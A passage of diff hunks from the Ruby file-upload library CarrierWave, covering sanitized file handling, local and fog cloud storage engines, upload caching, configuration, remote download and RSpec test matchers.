!!((@file.is_a?(String) || @file.is_a?(Pathname)) && !@file.blank?)
end
##
# === Returns
#
# [Boolean] whether the file is valid and has a non-zero size
#
def empty?
@file.nil? || self.size.nil? || (self.size.zero? && ! self.exists?)
end
##
# === Returns
#
# [Boolean] Whether the file exists
#
def exists?
return File.exists?(self.path) if self.path
return false
end
##
# Returns the contents of the file.
#
# === Returns
#
# [String] contents of the file
#
def read
if is_path?
File.open(@file, "rb") {|file| file.read}
else
@file.rewind if @file.respond_to?(:rewind)
@file.read
end
end
##
# Moves the file to the given path
#
# === Parameters
#
# [new_path (String)] The path where the file should be moved.
# [permissions (Integer)] permissions to set on the file in its new location.
#
def move_to(new_path, permissions=nil)
return if self.empty?
new_path = File.expand_path(new_path)
mkdir!(new_path)
if exists?
FileUtils.mv(path, new_path) unless new_path == path
else
File.open(new_path, "wb") { |f| f.write(read) }
end
chmod!(new_path, permissions)
self.file = new_path
self
end
##
# Creates a copy of this file and moves it to the given path. Returns the copy.
#
# === Parameters
#
# [new_path (String)] The path where the file should be copied to.
# [permissions (Integer)] permissions to set on the copy
#
# === Returns
#
# @return [CarrierWave::SanitizedFile] the location where the file will be stored.
#
def copy_to(new_path, permissions=nil)
return if self.empty?
new_path = File.expand_path(new_path)
mkdir!(new_path)
if exists?
FileUtils.cp(path, new_path) unless new_path == path
else
File.open(new_path, "wb") { |f| f.write(read) }
end
chmod!(new_path, permissions)
self.class.new({:tempfile => new_path, :content_type => content_type})
end
##
# Removes the file from the filesystem.
#
def delete
FileUtils.rm(self.path) if exists?
end
##
# Returns a File object, or nil if it does not exist.
#
# === Returns
#
# [File] a File object representing the SanitizedFile
#
def to_file
return @file if @file.is_a?(File)
File.open(path) if exists?
end
##
# Returns the content type of the file.
#
# === Returns
#
# [String] the content type of the file
#
def content_type
return @content_type if @content_type
@file.content_type.to_s.chomp if @file.respond_to?(:content_type) and @file.content_type
end
##
# Sets the content type of the file.
#
# === Returns
#
# [String] the content type of the file
#
def content_type=(type)
@content_type = type
end
##
# Used to sanitize the file name. Public to allow overriding for non-latin characters.
#
# === Returns
#
# [Regexp] the regexp for sanitizing the file name
#
def sanitize_regexp
CarrierWave::SanitizedFile.sanitize_regexp
end
private
def file=(file)
if file.is_a?(Hash)
@file = file["tempfile"] || file[:tempfile]
@original_filename = file["filename"] || file[:filename]
@content_type = file["content_type"] || file[:content_type]
else
@file = file
@original_filename = nil
@content_type = nil
end
end
# create the directory if it doesn't exist
def mkdir!(path)
FileUtils.mkdir_p(File.dirname(path)) unless File.exists?(File.dirname(path))
end
def chmod!(path, permissions)
File.chmod(permissions, path) if permissions
end
# Sanitize the filename, to prevent hacking
def sanitize(name)
name = name.gsub("\\", "/") # work-around for IE
name = File.basename(name)
name = name.gsub(sanitize_regexp,"_")
name = "_#{name}" if name =~ /\A\.+\z/
name = "unnamed" if name.size == 0
return name.mb_chars.to_s
end
def split_extension(filename)
# regular expressions to try for identifying extensions
extension_matchers = [
/\A(.+)\.(tar\.gz)\z/, # matches "something.tar.gz"
/\A(.+)\.([^\.]+)\z/ # matches "something.jpg"
]
extension_matchers.each do |regexp|
if filename =~ regexp
return $1, $2
end
end
return filename, "" # In case we weren't able to split the extension
end
end # SanitizedFile
end # CarrierWave
@@ -0,0 +1,30 @@
# encoding: utf-8
module CarrierWave
module Storage
##
# This file serves mostly as a specification for Storage engines. There is no requirement
# that storage engines must be a subclass of this class.
#
class Abstract
attr_reader :uploader
def initialize(uploader)
@uploader = uploader
end
def identifier
uploader.filename
end
def store!(file)
end
def retrieve!(identifier)
end
end # Abstract
end # Storage
end # CarrierWave
@@ -0,0 +1,56 @@
# encoding: utf-8
module CarrierWave
module Storage
##
# File storage stores file to the Filesystem (surprising, no?). There's really not much
# to it, it uses the store_dir defined on the uploader as the storage location. That's
# pretty much it.
#
class File < Abstract
##
# Move the file to the uploader's store path.
#
# By default, store!() uses copy_to(), which operates by copying the file
# from the cache to the store, then deleting the file from the cache.
# If move_to_store() is overriden to return true, then store!() uses move_to(),
# which simply moves the file from cache to store. Useful for large files.
#
# === Parameters
#
# [file (CarrierWave::SanitizedFile)] the file to store
#
# === Returns
#
# [CarrierWave::SanitizedFile] a sanitized file
#
def store!(file)
path = ::File.expand_path(uploader.store_path, uploader.root)
if uploader.move_to_store
file.move_to(path, uploader.permissions)
else
file.copy_to(path, uploader.permissions)
end
end
##
# Retrieve the file from its store path
#
# === Parameters
#
# [identifier (String)] the filename of the file
#
# === Returns
#
# [CarrierWave::SanitizedFile] a sanitized file
#
def retrieve!(identifier)
path = ::File.expand_path(uploader.store_path(identifier), uploader.root)
CarrierWave::SanitizedFile.new(path)
end
end # File
end # Storage
end # CarrierWave
@@ -0,0 +1,358 @@
# encoding: utf-8
begin
require 'fog'
rescue LoadError
raise "You don't have the 'fog' gem installed"
end
module CarrierWave
module Storage
##
# Stores things using the "fog" gem.
#
# fog supports storing files with AWS, Google, Local and Rackspace
#
# You need to setup some options to configure your usage:
#
# [:fog_credentials] credentials for service
# [:fog_directory] specifies name of directory to store data in, assumed to already exist
#
# [:fog_attributes] (optional) additional attributes to set on files
# [:fog_host] (optional) non-default host to serve files from
# [:fog_public] (optional) public readability, defaults to true
# [:fog_authenticated_url_expiration] (optional) time (in seconds) that authenticated urls
# will be valid, when fog_public is false and provider is AWS or Google, defaults to 600
#
#
# AWS credentials contain the following keys:
#
# [:aws_access_key_id]
# [:aws_secret_access_key]
# [:region] (optional) defaults to 'us-east-1'
# :region should be one of ['eu-west-1', 'us-east-1', 'ap-southeast-1', 'us-west-1', 'ap-northeast-1']
#
#
# Google credentials contain the following keys:
# [:google_storage_access_key_id]
# [:google_storage_secrete_access_key]
#
#
# Local credentials contain the following keys:
#
# [:local_root] local path to files
#
#
# Rackspace credentials contain the following keys:
#
# [:rackspace_username]
# [:rackspace_api_key]
#
#
# A full example with AWS credentials:
# CarrierWave.configure do |config|
# config.fog_credentials = {
# :aws_access_key_id => 'xxxxxx',
# :aws_secret_access_key => 'yyyyyy',
# :provider => 'AWS'
# }
# config.fog_directory = 'directoryname'
# config.fog_public = true
# end
#
class Fog < Abstract
class << self
def connection_cache
@connection_cache ||= {}
end
end
##
# Store a file
#
# === Parameters
#
# [file (CarrierWave::SanitizedFile)] the file to store
#
# === Returns
#
# [CarrierWave::Storage::Fog::File] the stored file
#
def store!(file)
f = CarrierWave::Storage::Fog::File.new(uploader, self, uploader.store_path)
f.store(file)
f
end
##
# Retrieve a file
#
# === Parameters
#
# [identifier (String)] unique identifier for file
#
# === Returns
#
# [CarrierWave::Storage::Fog::File] the stored file
#
def retrieve!(identifier)
CarrierWave::Storage::Fog::File.new(uploader, self, uploader.store_path(identifier))
end
def connection
@connection ||= begin
credentials = uploader.fog_credentials
self.class.connection_cache[credentials] ||= ::Fog::Storage.new(credentials)
end
end
class File
##
# Current local path to file
#
# === Returns
#
# [String] a path to file
#
attr_reader :path
##
# Return all attributes from file
#
# === Returns
#
# [Hash] attributes from file
#
def attributes
file.attributes
end
##
# Return a temporary authenticated url to a private file, if available
# Only supported for AWS and Google providers
#
# === Returns
#
# [String] temporary authenticated url
# or
# [NilClass] no authenticated url available
#
def authenticated_url(options = {})
if ['AWS', 'Google'].include?(@uploader.fog_credentials[:provider])
# avoid a get by using local references
local_directory = connection.directories.new(:key => @uploader.fog_directory)
local_file = local_directory.files.new(:key => path)
if @uploader.fog_credentials[:provider] == "AWS"
local_file.url(::Fog::Time.now + @uploader.fog_authenticated_url_expiration, options)
else
local_file.url(::Fog::Time.now + @uploader.fog_authenticated_url_expiration)
end
else
nil
end
end
##
# Lookup value for file content-type header
#
# === Returns
#
# [String] value of content-type
#
def content_type
@content_type || file.content_type
end
##
# Set non-default content-type header (default is file.content_type)
#
# === Returns
#
# [String] returns new content type value
#
def content_type=(new_content_type)
@content_type = new_content_type
end
##
# Remove the file from service
#
# === Returns
#
# [Boolean] true for success or raises error
#
def delete
# avoid a get by just using local reference
directory.files.new(:key => path).destroy
end
##
# deprecated: All attributes from file (includes headers)
#
# === Returns
#
# [Hash] attributes from file
#
def headers
location = caller.first
warning = "[yellow][WARN] headers is deprecated, use attributes instead[/]"
warning << " [light_black](#{location})[/]"
Formatador.display_line(warning)
attributes
end
def initialize(uploader, base, path)
@uploader, @base, @path = uploader, base, path
end
##
# Read content of file from service
#
# === Returns
#
# [String] contents of file
def read
file.body
end
##
# Return size of file body
#
# === Returns
#
# [Integer] size of file body
#
def size
file.content_length
end
##
# Check if the file exists on the remote service
#
# === Returns
#
# [Boolean] true if file exists or false
def exists?
!!directory.files.head(path)
end
##
# Write file to service
#
# === Returns
#
# [Boolean] true on success or raises error
def store(new_file)
fog_file = new_file.to_file
@content_type ||= new_file.content_type
@file = directory.files.create({
:body => fog_file ? fog_file : new_file.read,
:content_type => @content_type,
:key => path,
:public => @uploader.fog_public
}.merge(@uploader.fog_attributes))
fog_file.close if fog_file && !fog_file.closed?
true
end
##
# Return a url to a public file, if available
#
# === Returns
#
# [String] public url
# or
# [NilClass] no public url available
#
def public_url
if host = @uploader.fog_host
if host.respond_to? :call
"#{host.call(self)}/#{path}"
else
"#{host}/#{path}"
end
else
# AWS/Google optimized for speed over correctness
case @uploader.fog_credentials[:provider]
when 'AWS'
# if directory is a valid subdomain, use that style for access
if @uploader.fog_directory.to_s =~ /^(?:[a-z]|\d(?!\d{0,2}(?:\d{1,3}){3}$))(?:[a-z0-9]|(?![\-])|\-(?![\.])){1,61}[a-z0-9]$/
"https://#{@uploader.fog_directory}.s3.amazonaws.com/#{path}"
else
# directory is not a valid subdomain, so use path style for access
"https://s3.amazonaws.com/#{@uploader.fog_directory}/#{path}"
end
when 'Google'
"https://commondatastorage.googleapis.com/#{@uploader.fog_directory}/#{path}"
else
# avoid a get by just using local reference
directory.files.new(:key => path).public_url
end
end
end
##
# Return url to file, if avaliable
#
# === Returns
#
# [String] url
# or
# [NilClass] no url available
#
def url(options = {})
if !@uploader.fog_public
authenticated_url(options)
else
public_url
end
end
private
##
# connection to service
#
# === Returns
#
# [Fog::#{provider}::Storage] connection to service
#
def connection
@base.connection
end
##
# local reference to directory containing file
#
# === Returns
#
# [Fog::#{provider}::Directory] containing directory
#
def directory
@directory ||= begin
connection.directories.new(
:key => @uploader.fog_directory,
:public => @uploader.fog_public
)
end
end
##
# lookup file
#
# === Returns
#
# [Fog::#{provider}::File] file data from remote service
#
def file
@file ||= directory.files.head(path)
end
end
end # Fog
end # Storage
end # CarrierWave
@@ -0,0 +1,241 @@
# encoding: utf-8
module CarrierWave
module Test
##
# These are some matchers that can be used in RSpec specs, to simplify the testing
# of uploaders.
#
module Matchers
class BeIdenticalTo # :nodoc:
def initialize(expected)
@expected = expected
end
def matches?(actual)
@actual = actual
FileUtils.identical?(@actual, @expected)
end
def failure_message
"expected #{@actual.inspect} to be identical to #{@expected.inspect}"
end
def negative_failure_message
"expected #{@actual.inspect} to not be identical to #{@expected.inspect}"
end
def description
"be identical to #{@expected.inspect}"
end
end
def be_identical_to(expected)
BeIdenticalTo.new(expected)
end
class HavePermissions # :nodoc:
def initialize(expected)
@expected = expected
end
def matches?(actual)
@actual = actual
# Satisfy expectation here. Return false or raise an error if it's not met.
(File.stat(@actual.path).mode & 0777) == @expected
end
def failure_message
"expected #{@actual.current_path.inspect} to have permissions #{@expected.to_s(8)}, but they were #{(File.stat(@actual.path).mode & 0777).to_s(8)}"
end
def negative_failure_message
"expected #{@actual.current_path.inspect} not to have permissions #{@expected.to_s(8)}, but it did"
end
def description
"have permissions #{@expected.to_s(8)}"
end
end
def have_permissions(expected)
HavePermissions.new(expected)
end
class BeNoLargerThan # :nodoc:
def initialize(width, height)
@width, @height = width, height
end
def matches?(actual)
@actual = actual
# Satisfy expectation here. Return false or raise an error if it's not met.
image = ImageLoader.load_image(@actual.current_path)
@actual_width = image.width
@actual_height = image.height
@actual_width <= @width && @actual_height <= @height
end
def failure_message
"expected #{@actual.current_path.inspect} to be no larger than #{@width} by #{@height}, but it was #{@actual_width} by #{@actual_height}."
end
def negative_failure_message
"expected #{@actual.current_path.inspect} to be larger than #{@width} by #{@height}, but it wasn't."
end
def description
"be no larger than #{@width} by #{@height}"
end
end
def be_no_larger_than(width, height)
BeNoLargerThan.new(width, height)
end
class HaveDimensions # :nodoc:
def initialize(width, height)
@width, @height = width, height
end
def matches?(actual)
@actual = actual
# Satisfy expectation here. Return false or raise an error if it's not met.
image = ImageLoader.load_image(@actual.current_path)
@actual_width = image.width
@actual_height = image.height
@actual_width == @width && @actual_height == @height
end
def failure_message
"expected #{@actual.current_path.inspect} to have an exact size of #{@width} by #{@height}, but it was #{@actual_width} by #{@actual_height}."
end
def negative_failure_message
"expected #{@actual.current_path.inspect} not to have an exact size of #{@width} by #{@height}, but it did."
end
def description
"have an exact size of #{@width} by #{@height}"
end
end
def have_dimensions(width, height)
HaveDimensions.new(width, height)
end
class BeNoWiderThan # :nodoc:
def initialize(width)
@width = width
end
def matches?(actual)
@actual = actual
# Satisfy expectation here. Return false or raise an error if it's not met.
image = ImageLoader.load_image(@actual.current_path)
@actual_width = image.width
@actual_width <= @width
end
def failure_message
"expected #{@actual.current_path.inspect} to be no wider than #{@width}, but it was #{@actual_width}."
end
def negative_failure_message
"expected #{@actual.current_path.inspect} not to be wider than #{@width}, but it is."
end
def description
"have a width less than or equal to #{@width}"
end
end
def be_no_wider_than(width)
BeNoWiderThan.new(width)
end
class BeNoTallerThan # :nodoc:
def initialize(height)
@height = height
end
def matches?(actual)
@actual = actual
# Satisfy expectation here. Return false or raise an error if it's not met.
image = ImageLoader.load_image(@actual.current_path)
@actual_height = image.height
@actual_height <= @height
end
def failure_message
"expected #{@actual.current_path.inspect} to be no taller than #{@height}, but it was #{@actual_height}."
end
def negative_failure_message
"expected #{@actual.current_path.inspect} not to be taller than #{@height}, but it is."
end
def description
"have a height less than or equal to #{@height}"
end
end
def be_no_taller_than(height)
BeNoTallerThan.new(height)
end
class ImageLoader # :nodoc:
def self.load_image(filename)
if defined? ::MiniMagick
MiniMagickWrapper.new(filename)
else
unless defined? ::Magick
begin
require 'rmagick'
rescue LoadError
require 'RMagick'
rescue LoadError
puts "WARNING: Failed to require rmagick, image processing may fail!"
end
end
MagickWrapper.new(filename)
end
end
end
class MagickWrapper # :nodoc:
attr_reader :image
def width
image.columns
end
def height
image.rows
end
def initialize(filename)
@image = ::Magick::Image.read(filename).first
end
end
class MiniMagickWrapper # :nodoc:
attr_reader :image
def width
image[:width]
end
def height
image[:height]
end
def initialize(filename)
@image = ::MiniMagick::Image.open(filename)
end
end
end # Matchers
end # Test
end # CarrierWave
@@ -0,0 +1,45 @@
# encoding: utf-8
module CarrierWave
##
# See CarrierWave::Uploader::Base
#
module Uploader
##
# An uploader is a class that allows you to easily handle the caching and storage of
# uploaded files. Please refer to the README for configuration options.
#
# Once you have an uploader you can use it in isolation:
#
# my_uploader = MyUploader.new
# my_uploader.cache!(File.open(path_to_file))
# my_uploader.retrieve_from_store!('monkey.png')
#
# Alternatively, you can mount it on an ORM or other persistence layer, with
# +CarrierWave::Mount#mount_uploader+. There are extensions for activerecord and datamapper
# these are *very* simple (they are only a dozen lines of code), so adding your own should
# be trivial.
#
class Base
attr_reader :file
include CarrierWave::Uploader::Callbacks
include CarrierWave::Uploader::Proxy
include CarrierWave::Uploader::Url
include CarrierWave::Uploader::Mountable
include CarrierWave::Uploader::Cache
include CarrierWave::Uploader::Store
include CarrierWave::Uploader::Download
include CarrierWave::Uploader::Remove
include CarrierWave::Uploader::ExtensionWhitelist
include CarrierWave::Uploader::Processing
include CarrierWave::Uploader::Versions
include CarrierWave::Uploader::DefaultUrl
include CarrierWave::Uploader::Configuration
include CarrierWave::Uploader::Serialization
end # Base
end # Uploader
end # CarrierWave
@@ -0,0 +1,169 @@
# encoding: utf-8
module CarrierWave
class FormNotMultipart < UploadError
def message
"You tried to assign a String or a Pathname to an uploader, for security reasons, this is not allowed.\n\n If this is a file upload, please check that your upload form is multipart encoded."
end
end
##
# Generates a unique cache id for use in the caching system
#
# === Returns
#
# [String] a cache id in the format YYYYMMDD-HHMM-PID-RND
#
def self.generate_cache_id
Time.now.strftime('%Y%m%d-%H%M') + '-' + Process.pid.to_s + '-' + ("%04d" % rand(9999))
end
module Uploader
module Cache
extend ActiveSupport::Concern
include CarrierWave::Uploader::Callbacks
include CarrierWave::Uploader::Configuration
module ClassMethods
##
# Removes cached files which are older than one day. You could call this method
# from a rake task to clean out old cached files.
#
# You can call this method directly on the module like this:
#
# CarrierWave.clean_cached_files!
#
# === Note
#
# This only works as long as you haven't done anything funky with your cache_dir.
# It's recommended that you keep cache files in one place only.
#
def clean_cached_files!(seconds=60*60*24)
Dir.glob(File.expand_path(File.join(cache_dir, '*'), CarrierWave.root)).each do |dir|
time = dir.scan(/(\d{4})(\d{2})(\d{2})-(\d{2})(\d{2})/).first.map { |t| t.to_i }
time = Time.utc(*time)
if time < (Time.now.utc - seconds)
FileUtils.rm_rf(dir)
end
end
end
end
##
# Returns true if the uploader has been cached
#
# === Returns
#
# [Bool] whether the current file is cached
#
def cached?
@cache_id
end
##
# Caches the remotely stored file
#
# This is useful when about to process images. Most processing solutions
# require the file to be stored on the local filesystem.
#
def cache_stored_file!
sanitized = SanitizedFile.new :tempfile => StringIO.new(file.read),
:filename => File.basename(path), :content_type => file.content_type
cache! sanitized
end
##
# Returns a String which uniquely identifies the currently cached file for later retrieval
#
# === Returns
#
# [String] a cache name, in the format YYYYMMDD-HHMM-PID-RND/filename.txt
#
def cache_name
File.join(cache_id, full_original_filename) if cache_id and original_filename
end
##
# Caches the given file. Calls process! to trigger any process callbacks.
#
# By default, cache!() uses copy_to(), which operates by copying the file
# to the cache, then deleting the original file. If move_to_cache() is
# overriden to return true, then cache!() uses move_to(), which simply
# moves the file to the cache. Useful for large files.
#
# === Parameters
#
# [new_file (File, IOString, Tempfile)] any kind of file object
#
# === Raises
#
# [CarrierWave::FormNotMultipart] if the assigned parameter is a string
#
def cache!(new_file)
new_file = CarrierWave::SanitizedFile.new(new_file)
unless new_file.empty?
raise CarrierWave::FormNotMultipart if new_file.is_path? && ensure_multipart_form
with_callbacks(:cache, new_file) do
self.cache_id = CarrierWave.generate_cache_id unless cache_id
@filename = new_file.filename
self.original_filename = new_file.filename
if move_to_cache
@file = new_file.move_to(cache_path, permissions)
else
@file = new_file.copy_to(cache_path, permissions)
end
end
end
end
##
# Retrieves the file with the given cache_name from the cache.
#
# === Parameters
#
# [cache_name (String)] uniquely identifies a cache file
#
# === Raises
#
# [CarrierWave::InvalidParameter] if the cache_name is incorrectly formatted.
#
def retrieve_from_cache!(cache_name)
with_callbacks(:retrieve_from_cache, cache_name) do
self.cache_id, self.original_filename = cache_name.to_s.split('/', 2)
@filename = original_filename
@file = CarrierWave::SanitizedFile.new(cache_path)
end
end
private
def cache_path
File.expand_path(File.join(cache_dir, cache_name), root)
end
attr_reader :cache_id, :original_filename
# We can override the full_original_filename method in other modules
alias_method :full_original_filename, :original_filename
def cache_id=(cache_id)
raise CarrierWave::InvalidParameter, "invalid cache id" unless cache_id =~ /\A[\d]{8}\-[\d]{4}\-[\d]+\-[\d]{4}\z/
@cache_id = cache_id
end
def original_filename=(filename)
raise CarrierWave::InvalidParameter, "invalid filename" if filename =~ CarrierWave::SanitizedFile.sanitize_regexp
@original_filename = filename
end
end # Cache
end # Uploader
end # CarrierWave
@@ -0,0 +1,35 @@
# encoding: utf-8
module CarrierWave
module Uploader
module Callbacks
extend ActiveSupport::Concern
included do
class_attribute :_before_callbacks, :_after_callbacks,
:instance_writer => false
self._before_callbacks = Hash.new []
self._after_callbacks = Hash.new []
end
def with_callbacks(kind, *args)
self.class._before_callbacks[kind].each { |c| send c, *args }
yield
self.class._after_callbacks[kind].each { |c| send c, *args }
end
module ClassMethods
def before(kind, callback)
self._before_callbacks = self._before_callbacks.
merge kind => _before_callbacks[kind] + [callback]
end
def after(kind, callback)
self._after_callbacks = self._after_callbacks.
merge kind => _after_callbacks[kind] + [callback]
end
end # ClassMethods
end # Callbacks
end # Uploader
end # CarrierWave
@@ -0,0 +1,136 @@
module CarrierWave
module Uploader
module Configuration
extend ActiveSupport::Concern
included do
class_attribute :_storage, :instance_writer => false
add_config :root
add_config :base_path
add_config :permissions
add_config :storage_engines
add_config :store_dir
add_config :cache_dir
add_config :enable_processing
add_config :ensure_multipart_form
add_config :delete_tmp_file_after_storage
add_config :move_to_cache
add_config :move_to_store
add_config :remove_previously_stored_files_after_update
# fog
add_config :fog_attributes
add_config :fog_credentials
add_config :fog_directory
add_config :fog_host
add_config :fog_public
add_config :fog_authenticated_url_expiration
# Mounting
add_config :ignore_integrity_errors
add_config :ignore_processing_errors
add_config :validate_integrity
add_config :validate_processing
add_config :mount_on
# set default values
reset_config
end
module ClassMethods
##
# Sets the storage engine to be used when storing files with this uploader.
# Can be any class that implements a #store!(CarrierWave::SanitizedFile) and a #retrieve!
# method. See lib/carrierwave/storage/file.rb for an example. Storage engines should
# be added to CarrierWave::Uploader::Base.storage_engines so they can be referred
# to by a symbol, which should be more convenient
#
# If no argument is given, it will simply return the currently used storage engine.
#
# === Parameters
#
# [storage (Symbol, Class)] The storage engine to use for this uploader
#
# === Returns
#
# [Class] the storage engine to be used with this uploader
#
# === Examples
#
# storage :file
# storage CarrierWave::Storage::File
# storage MyCustomStorageEngine
#
def storage(storage = nil)
if storage
self._storage = storage.is_a?(Symbol) ? eval(storage_engines[storage]) : storage
end
_storage
end
alias_method :storage=, :storage
def add_config(name)
class_eval <<-RUBY, __FILE__, __LINE__ + 1
def self.#{name}(value=nil)
@#{name} = value if value
return @#{name} if self.object_id == #{self.object_id} || defined?(@#{name})
name = superclass.#{name}
return nil if name.nil? && !instance_variable_defined?("@#{name}")
@#{name} = name && !name.is_a?(Module) && !name.is_a?(Symbol) && !name.is_a?(Numeric) && !name.is_a?(TrueClass) && !name.is_a?(FalseClass) ? name.dup : name
end
def self.#{name}=(value)
@#{name} = value
end
def #{name}
value = self.class.#{name}
value.instance_of?(Proc) ? value.call : value
end
RUBY
end
def configure
yield self
end
##
# sets configuration back to default
#
def reset_config
configure do |config|
config.permissions = 0644
config.storage_engines = {
:file => "CarrierWave::Storage::File",
:fog => "CarrierWave::Storage::Fog"
}
config.storage = :file
config.fog_attributes = {}
config.fog_credentials = {}
config.fog_public = true
config.fog_authenticated_url_expiration = 600
config.store_dir = 'uploads'
config.cache_dir = 'uploads/tmp'
config.delete_tmp_file_after_storage = true
config.move_to_cache = false
config.move_to_store = false
config.remove_previously_stored_files_after_update = true
config.ignore_integrity_errors = true
config.ignore_processing_errors = true
config.validate_integrity = true
config.validate_processing = true
config.root = lambda { CarrierWave.root }
config.base_path = CarrierWave.base_path
config.enable_processing = true
config.ensure_multipart_form = true
end
end
end
end
end
end
@@ -0,0 +1,19 @@
# encoding: utf-8
module CarrierWave
module Uploader
module DefaultUrl
def url(*args)
super || default_url
end
##
# Override this method in your uploader to provide a default url
# in case no file has been cached/stored yet.
#
def default_url; end
end # DefaultPath
end # Uploader
end # CarrierWave
@@ -0,0 +1,75 @@
# encoding: utf-8
require 'open-uri'
module CarrierWave
module Uploader
module Download
extend ActiveSupport::Concern
include CarrierWave::Uploader::Callbacks
include CarrierWave::Uploader::Configuration
include CarrierWave::Uploader::Cache
class RemoteFile
def initialize(uri)
@uri = uri
end
def original_filename
File.basename(file.base_uri.path)
end
def respond_to?(*args)
super or file.respond_to?(*args)
end
def http?
@uri.scheme =~ /^https?$/
end
private
def file
if @file.blank?
@file = Kernel.open(@uri.to_s)
@file = @file.is_a?(String) ? StringIO.new(@file) : @file
end
@file
end
def method_missing(*args, &block)
file.send(*args, &block)
end
end
##
# Caches the file by downloading it from the given URL.
#
# === Parameters
#
# [url (String)] The URL where the remote file is stored
#
def download!(uri)
unless uri.blank?
processed_uri = process_uri(uri)
file = RemoteFile.new(processed_uri)
raise CarrierWave::DownloadError, "trying to download a file which is not served over HTTP" unless file.http?
cache!(file)
end
end
##
# Processes the given URL by parsing and escaping it. Public to allow overriding.
#
# === Parameters
#
# [url (String)] The URL where the remote file is stored
#
def process_uri(uri)
URI.parse(URI.escape(URI.unescape(uri)).gsub("[", "%5B").gsub("]", "%5D").gsub("+", "%2B"))
end
end # Download
end # Uploader
end # CarrierWave
@@ -0,0 +1,49 @@
# encoding: utf-8
module CarrierWave
module Uploader
module ExtensionWhitelist
extend ActiveSupport::Concern
included do
before :cache, :check_whitelist!
end
##
# Override this method in your uploader to provide a white list of extensions which
# are allowed to be uploaded. Compares the file's extension case insensitive.
# Furthermore, not only strings but Regexp are allowed as well.
#
# When using a Regexp in the white list, `\A` and `\z` are automatically added to
# the Regexp expression, also case insensitive.
#
# === Returns
#
# [NilClass, Array[String,Regexp]] a white list of extensions which are allowed to be uploaded
#
# === Examples
#
# def extension_white_list
# %w(jpg jpeg gif png)
# end
#
# Basically the same, but using a Regexp:
#
# def extension_white_list
# [/jpe?g/, 'gif', 'png']
# end
#
def extension_white_list; end
private
def check_whitelist!(new_file)
extension = new_file.extension.to_s
if extension_white_list and not extension_white_list.detect { |item| extension =~ /\A#{item}\z/i }
raise CarrierWave::IntegrityError, I18n.translate(:"errors.messages.extension_white_list_error", :extension => new_file.extension.inspect, :allowed_types => extension_white_list.inspect)
end
end
end # ExtensionWhitelist
end # Uploader
end # CarrierWave
@@ -0,0 +1,39 @@
# encoding: utf-8
module CarrierWave
module Uploader
module Mountable
attr_reader :model, :mounted_as
##
# If a model is given as the first parameter, it will be stored in the uploader, and
# available throught +#model+. Likewise, mounted_as stores the name of the column
# where this instance of the uploader is mounted. These values can then be used inside
# your uploader.
#
# If you do not wish to mount your uploaders with the ORM extensions in -more then you
# can override this method inside your uploader. Just be sure to call +super+
#
# === Parameters
#
# [model (Object)] Any kind of model object
# [mounted_as (Symbol)] The name of the column where this uploader is mounted
#
# === Examples
#
# class MyUploader < CarrierWave::Uploader::Base
#
# def store_dir
# File.join('public', 'files', mounted_as, model.permalink)
# end
# end
#
def initialize(model=nil, mounted_as=nil)
@model = model
@mounted_as = mounted_as
end
end # Mountable
end # Uploader
end # CarrierWave
@@ -0,0 +1,92 @@
# encoding: utf-8
module CarrierWave
module Uploader
module Processing
extend ActiveSupport::Concern
include CarrierWave::Uploader::Callbacks
included do
class_attribute :processors, :instance_writer => false
self.processors = []
after :cache, :process!
end
module ClassMethods
##
# Adds a processor callback which applies operations as a file is uploaded.
# The argument may be the name of any method of the uploader, expressed as a symbol,
# or a list of such methods, or a hash where the key is a method and the value is
# an array of arguments to call the method with
#
# === Parameters
#
# args (*Symbol, Hash{Symbol => Array[]})
#
# === Examples
#
# class MyUploader < CarrierWave::Uploader::Base
#
# process :sepiatone, :vignette
# process :scale => [200, 200]
# process :scale => [200, 200], :if => :image?
# process :sepiatone, :if => :image?
#
# def sepiatone
# ...
# end
#
# def vignette
# ...
# end
#
# def scale(height, width)
# ...
# end
#
# def image?
# ...
# end
#
# end
#
def process(*args)
if !args.first.is_a?(Hash) && args.last.is_a?(Hash)
conditions = args.pop
args.map!{ |arg| {arg => []}.merge(conditions) }
end
args.each do |arg|
if arg.is_a?(Hash)
condition = arg.delete(:if)
arg.each do |method, args|
self.processors += [[method, args, condition]]
end
else
self.processors += [[arg, [], nil]]
end
end
end
end # ClassMethods
##
# Apply all process callbacks added through CarrierWave.process
#
def process!(new_file=nil)
if enable_processing
self.class.processors.each do |method, args, condition|
if(condition)
next if !(condition.respond_to?(:call) ? condition.call(self, :args => args, :method => method, :file => new_file) : self.send(condition, new_file))
end
self.send(method, *args)
end
end
end
end # Processing
end # Uploader
end # CarrierWave
@@ -0,0 +1,77 @@
# encoding: utf-8
module CarrierWave
module Uploader
module Proxy
##
# === Returns
#
# [Boolean] Whether the uploaded file is blank
#
def blank?
file.blank?
end
##
# === Returns
#
# [String] the path where the file is currently located.
#
def current_path
file.path if file.respond_to?(:path)
end
alias_method :path, :current_path
##
# Returns a string that uniquely identifies the last stored file
#
# === Returns
#
# [String] uniquely identifies a file
#
def identifier
storage.identifier if storage.respond_to?(:identifier)
end
##
# Read the contents of the file
#
# === Returns
#
# [String] contents of the file
#
def read
file.read if file.respond_to?(:read)
end
##
# Fetches the size of the currently stored/cached file
#
# === Returns
#
# [Integer] size of the file
#
def size
file.respond_to?(:size) ? file.size : 0
end
##
# Return the size of the file when asked for its length
#
# === Returns
#
# [Integer] size of the file
#
# === Note
#
# This was added because of the way Rails handles length/size validations in 3.0.6 and above.
#
def length
size
end
end # Proxy
end # Uploader
end # CarrierWave
@@ -0,0 +1,23 @@
# encoding: utf-8
module CarrierWave
module Uploader
module Remove
extend ActiveSupport::Concern
include CarrierWave::Uploader::Callbacks
##
# Removes the file and reset it
#
def remove!
with_callbacks(:remove) do
@file.delete if @file
@file = nil
@cache_id = nil
end
end
end # Remove
end # Uploader
end # CarrierWave
@@ -0,0 +1,30 @@
# encoding: utf-8
require "active_support/json"
require "active_support/core_ext/hash"
module CarrierWave
module Uploader
module Serialization
extend ActiveSupport::Concern
def serializable_hash
{"url" => url}.merge Hash[versions.map { |name, version| [name, { "url" => version.url }] }]
end
def as_json(options=nil)
Hash[mounted_as || "uploader", serializable_hash]
end
def to_json
ActiveSupport::JSON.encode(as_json)
end
def to_xml(options={})
merged_options = options.merge(:root => mounted_as || "uploader", :type => 'uploader')
serializable_hash.to_xml(merged_options)
end
end
end
end
@@ -0,0 +1,111 @@
# encoding: utf-8
module CarrierWave
module Uploader
module Store
extend ActiveSupport::Concern
include CarrierWave::Uploader::Callbacks
include CarrierWave::Uploader::Configuration
include CarrierWave::Uploader::Cache
##
# Override this in your Uploader to change the filename.
#
